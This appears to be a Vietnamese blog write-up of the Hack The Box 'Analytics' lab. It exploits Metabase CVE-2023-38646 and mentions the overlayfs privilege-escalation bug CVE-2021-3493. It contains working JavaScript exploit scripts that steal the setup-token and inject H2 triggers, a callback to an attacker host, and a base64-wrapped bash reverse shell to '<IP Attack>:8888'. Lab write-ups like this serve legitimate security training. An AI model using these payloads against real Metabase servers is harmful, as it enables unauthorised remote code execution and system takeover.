Analytics

Enumeration

Zenmap:

Kiểm tra website:
Kiểm tra website, tôi thấy rằng khi click login website chuyển sang tên miền khác http://data.analytical.htb/ 
Đây là một website Metabase sign.

Gaining access metabase

Nhiên cứu về Metabase và các lỗ hổng liên quan: CVE-2023–38646 Pre-Auth RCE in Metabase
Thực hiện khai thác nó:
Đầu tiên tôi kiểm tra /api/session/properties trong burp và tôi lấy được setup-token.
Hoặc tôi sử dụng một số lệnh java script sau:
const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
console.log(properties['setup-token']);
Kết quả tôi thu được từ việc chạy lệnh sẽ như sau:
Sau đó thử nghiệm với việc nhận kết nối từ server:
Khi đó tôi nhận được kết nối từ server như sau:
Hoặc tôi có thể viết một tập lệnh javascript như sau:
const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
const data = {
    "token": properties['setup-token'],
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://<IP Attack>/dryu8').openConnection().getContentLength()\n$$--=x\\;",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}
var content = await fetch("http://data.analytical.htb/api/setup/validate", {
		"headers": {
			"content-type": "application/json"
		},
		"body": JSON.stringify(data),
		"method": "POST"
	}).then(function (res) {
		return res.text();
Kết quả chạy tập lệnh trên cũng sẽ nhận được kết nối từ server.
Tôi biết rằng mình có thể thực thi mã từ xa. Thực hiện kết nối reverse shell và tôi nhận được shell như sau:
Trước đó tôi gửi một kết nối tới server như sau:
Hoặc tôi đã viết một tập lệnh java script để đơn giản hóa kết nối:
const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
function rce(command) {
    const data = {
        "token": properties['setup-token'],
        "details":
        {
            "is_on_demand": false,
            "is_full_sync": false,
            "is_sample": false,
            "cache_ttl": null,
            "refingerprint": false,
            "auto_run_queries": true,
            "schedules":
                {},
            "details":
            {
                "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo," + btoa(command) + "}|{base64,-d}|{bash,-i}')\n$$--=x",
                "advanced-options": false,
                "ssl": true
            },
            "name": "an-sec-research-team",
            "engine": "h2"
        }
    }
    fetch("http://data.analytical.htb/api/setup/validate", {
        "headers": {
            "content-type": "application/json"
        },
        "body": JSON.stringify(data),
        "method": "POST"
    }).then(function (res) {
        return res.text();
    });
}
rce("bash -i >&/dev/tcp/<IP Attack>/8888 0>&1")
Khi đó tôi gửi rce lên server như sau:
Ngoài ra tôi cũng có thể sử dụng mem để thay thế cho zip như sau:
const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
function rce(command) {
    const data = {
        "details": {
            "details": {
                "advanced-options": true,
                "classname": "org.h2.Driver",
                "subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo," + btoa(command) + "}|{base64,-d}|{bash,-i}')\n$$--=x",
                "subprotocol": "h2"
            },
            "engine": "postgres",
            "name": "x"
        },
        "token": properties['setup-token']
    }
    fetch("http://data.analytical.htb/api/setup/validate", {
        "headers": {
            "content-type": "application/json"
        },
        "body": JSON.stringify(data),
        "method": "POST"
    }).then(function (res) {
        return res.text();
    });
}
rce("bash -i >&/dev/tcp/<IP Attack>/8888 0>&1")

Gaining access metabase

Kiểm tra environment variables và tôi có user và password để login ssh:
PS D:\thehackbox\Machines\Analytics> ssh metalytics@analytical.htb
metalytics@analytical.htb's password:
metalytics@analytics:~$ whoami
metalytics
metalytics@analytics:~$ ls
user.txt
metalytics@analytics:~$

Privilege escalation

Kiểm tra kernel linux:
Tìm kiếm các lỗ hổng về kernel sau, và tôi tìm thấy overlayfs.
Ubuntu overlayfs  gameoverlay  CVE-2021-3493
Có nhiều bài viết nói về lỗ hổng này nên tôi trình bày cách khai thác đơn giản nhất:



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post